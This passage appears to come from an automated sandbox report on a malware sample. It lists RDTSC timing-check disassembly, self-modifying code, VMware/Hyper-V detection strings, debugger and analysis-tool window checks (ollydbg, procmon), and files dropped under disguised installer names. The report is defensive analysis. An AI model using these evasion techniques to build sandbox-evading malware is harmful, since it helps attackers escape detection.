Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90C8D second address: 4D90D34 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE2B0E6B88Dh 0x00000008 xor ax, 6286h 0x0000000d jmp 00007FE2B0E6B891h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov edi, eax 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FE2B0E6B88Ch 0x0000001f and ah, 00000028h 0x00000022 jmp 00007FE2B0E6B88Bh 0x00000027 popfd 0x00000028 popad 0x00000029 test edi, edi 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FE2B0E6B88Bh 0x00000032 and ecx, 0D14966Eh 0x00000038 jmp 00007FE2B0E6B899h 0x0000003d popfd 0x0000003e mov ebx, eax 0x00000040 popad 0x00000041 js 00007FE3217DA22Ch 0x00000047 pushad 0x00000048 mov ax, F2EFh 0x0000004c jmp 00007FE2B0E6B894h 0x00000051 popad 0x00000052 mov eax, dword ptr [ebp-14h] 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 mov eax, edi 0x0000005a mov ecx, ebx 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D34 second address: 4D90D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E330E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D49 second address: 4D90D4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D4D second address: 4D90D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE2B0E330E8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D71 second address: 4D90E24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov edi, 43B4F7A2h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esi+0Ch], eax 0x00000010 pushad 0x00000011 movsx edx, ax 0x00000014 mov edi, esi 0x00000016 popad 0x00000017 mov edx, 757806ECh 0x0000001c pushad 0x0000001d movzx esi, bx 0x00000020 mov esi, edx 0x00000022 popad 0x00000023 mov eax, 00000000h 0x00000028 jmp 00007FE2B0E6B88Ch 0x0000002d lock cmpxchg dword ptr [edx], ecx 0x00000031 pushad 0x00000032 push ecx 0x00000033 mov cx, di 0x00000036 pop edi 0x00000037 jmp 00007FE2B0E6B896h 0x0000003c popad 0x0000003d pop edi 0x0000003e jmp 00007FE2B0E6B890h 0x00000043 test eax, eax 0x00000045 jmp 00007FE2B0E6B890h 0x0000004a jne 00007FE3217DA179h 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 mov ecx, ebx 0x00000055 pushfd 0x00000056 jmp 00007FE2B0E6B899h 0x0000005b xor al, 00000046h 0x0000005e jmp 00007FE2B0E6B891h 0x00000063 popfd 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E24 second address: 4D90E2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E2A second address: 4D90E72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c movzx eax, dx 0x0000000f popad 0x00000010 mov eax, dword ptr [esi] 0x00000012 jmp 00007FE2B0E6B893h 0x00000017 mov dword ptr [edx], eax 0x00000019 jmp 00007FE2B0E6B896h 0x0000001e mov eax, dword ptr [esi+04h] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov cx, dx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E72 second address: 4D90E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E77 second address: 4D90E7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E7D second address: 4D90E81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E81 second address: 4D90ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+04h], eax 0x0000000b pushad 0x0000000c call 00007FE2B0E6B898h 0x00000011 call 00007FE2B0E6B892h 0x00000016 pop eax 0x00000017 pop edx 0x00000018 mov bl, ch 0x0000001a popad 0x0000001b mov eax, dword ptr [esi+08h] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FE2B0E6B896h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90ED7 second address: 4D90F06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+08h], eax 0x0000000c jmp 00007FE2B0E330E6h 0x00000011 mov eax, dword ptr [esi+0Ch] 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8259D9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 825A8F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9D59AE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 82337E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9DAEE4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A5B4EF instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Memory allocated: 1530000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Memory allocated: 1B300000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Windows\System32\svchost.exe	File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,		15_2_00401B4B
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,		15_2_02D8E99C

Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1061	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1083	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1157	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1126	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1055	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\dll[1]	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-4LK4F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\uninstall\is-BD8Q6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\msvcr71.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Bunifu_UI_v1.5.3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\LTDIS13n.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\msvcp71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-OQPMB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\gdiplus.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-2UQRT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\ltkrn13n.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-HMRND.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-P1KGP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-N7369.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\uninstall\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-2QCNJ.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\soft[1]	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe

Evasive API call chain: GetSystemTime,DecisionNodes

graph_11-5540

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_15-61871

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

API coverage: 5.0 %

Source: C:\Users\user\Desktop\file.exe TID: 1104	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1104	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3444	Thread sleep count: 122 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3444	Thread sleep count: 161 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3444	Thread sleep count: 118 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1180	Thread sleep count: 1061 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1180	Thread sleep time: -2123061s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3444	Thread sleep count: 175 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3444	Thread sleep count: 62 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7220	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2704	Thread sleep count: 1083 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2704	Thread sleep time: -2167083s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1792	Thread sleep count: 1157 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1792	Thread sleep time: -2315157s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2004	Thread sleep count: 1126 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2004	Thread sleep time: -2253126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6544	Thread sleep count: 1055 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6544	Thread sleep time: -2111055s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe TID: 7856	Thread sleep time: -58000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe TID: 3080	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe TID: 7936	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00452A60 FindFirstFileA,GetLastError,	12_2_00452A60
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00474DFC FindFirstFileA,FindNextFileA,FindClose,	12_2_00474DFC
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004625C4 FindFirstFileA,FindNextFileA,FindClose,	12_2_004625C4
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00463B50 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	12_2_00463B50
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00497C14 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	12_2_00497C14
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00463FCC SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	12_2_00463FCC

Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe

Code function: 11_2_00409B30 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,

11_2_00409B30

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Thread delayed: delay time: 60000			Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: Amcache.hve.19.dr	Binary or memory string: VMware
Source: svchost.exe, 00000015.00000002.2536272490.00000235C2429000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@\I
Source: svchost.exe, 00000003.00000003.2161913808.0000023F73F2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?VMware-42 27 b7 a3 1e b0 86 f3-0a fe 06 07 d0 80 07 92
Source: svchost.exe, 00000002.00000002.2535672192.00000199E7E8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@\??\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000003.00000003.2161913808.0000023F73F2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C6000c2943ac4b95c9680c61f588ab2de\|Virtual disk \|VMware
Source: Amcache.hve.19.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: videominimizer2.exe, 0000000F.00000002.2538388416.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2534981373.0000000000987000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536789222.00000235C24A1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536500841.00000235C248F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000002.00000002.2535467553.00000199E7E64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000e1}
Source: svchost.exe, 00000002.00000002.2535672192.00000199E7E89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
Source: Amcache.hve.19.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.19.dr	Binary or memory string: vmci.sys
Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000SCSI\CdRomNECVMWarVMware_SATA_CD001.00SCSI\CdRomNECVMWarVMware_SATA_CD00SCSI\CdRomNECVMWarSCSI\NECVMWarVMware_SATA_CD001NECVMWarVMware_SATA_CD001GenCdRom
Source: Amcache.hve.19.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.19.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.19.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.19.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.19.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.19.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: Amcache.hve.19.dr	Binary or memory string: VMware VMCI Bus Device
Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIES1371
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.19.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: svchost.exe, 00000003.00000003.2161913808.0000023F73F2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6000c2943ac4b95c9680c61f588ab2de\|Virtual disk \|VMware
Source: svchost.exe, 00000002.00000002.2535672192.00000199E7E8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.19.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.19.dr	Binary or memory string: VMware-42 27 b7 a3 1e b0 86 f3-0a fe 06 07 d0 80 07 92
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual USB Mouse
Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 b7 a3 1e b0 86 f3-0a fe 06 07 d0 80 07 92VMware20,1
Source: Amcache.hve.19.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.19.dr	Binary or memory string: VMware, Inc.
Source: svchost.exe, 00000002.00000002.2535034199.00000199E7E50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.19.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.19.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.19.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: svchost.exe, 00000002.00000002.2535467553.00000199E7E64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:#p
Source: Amcache.hve.19.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: svchost.exe, 00000002.00000002.2535672192.00000199E7E8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@\\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000002.00000002.2534838410.00000199E7E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: Amcache.hve.19.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.19.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.19.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.19.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.19.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c2943ac4b95c9680c61f588ab2de$
Source: Amcache.hve.19.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: svchost.exe, 00000015.00000002.2538370198.00000235C3413000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMWare
Source: svchost.exe, 00000002.00000002.2534253451.00000199E7E02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: svchost.exe, 00000003.00000003.2161913808.0000023F73F2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c2943ac4b95c9680c61f588ab2de
Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000SCSI\DiskVMware__Virtual_disk____2.0_SCSI\DiskVMware__Virtual_disk____SCSI\DiskVMware__SCSI\VMware__Virtual_disk____2VMware__Virtual_disk____2GenDisk

Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	API call chain: ExitProcess graph end node			graph_11-6672
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	API call chain: ExitProcess graph end node			graph_15-61387

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_15-61768

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
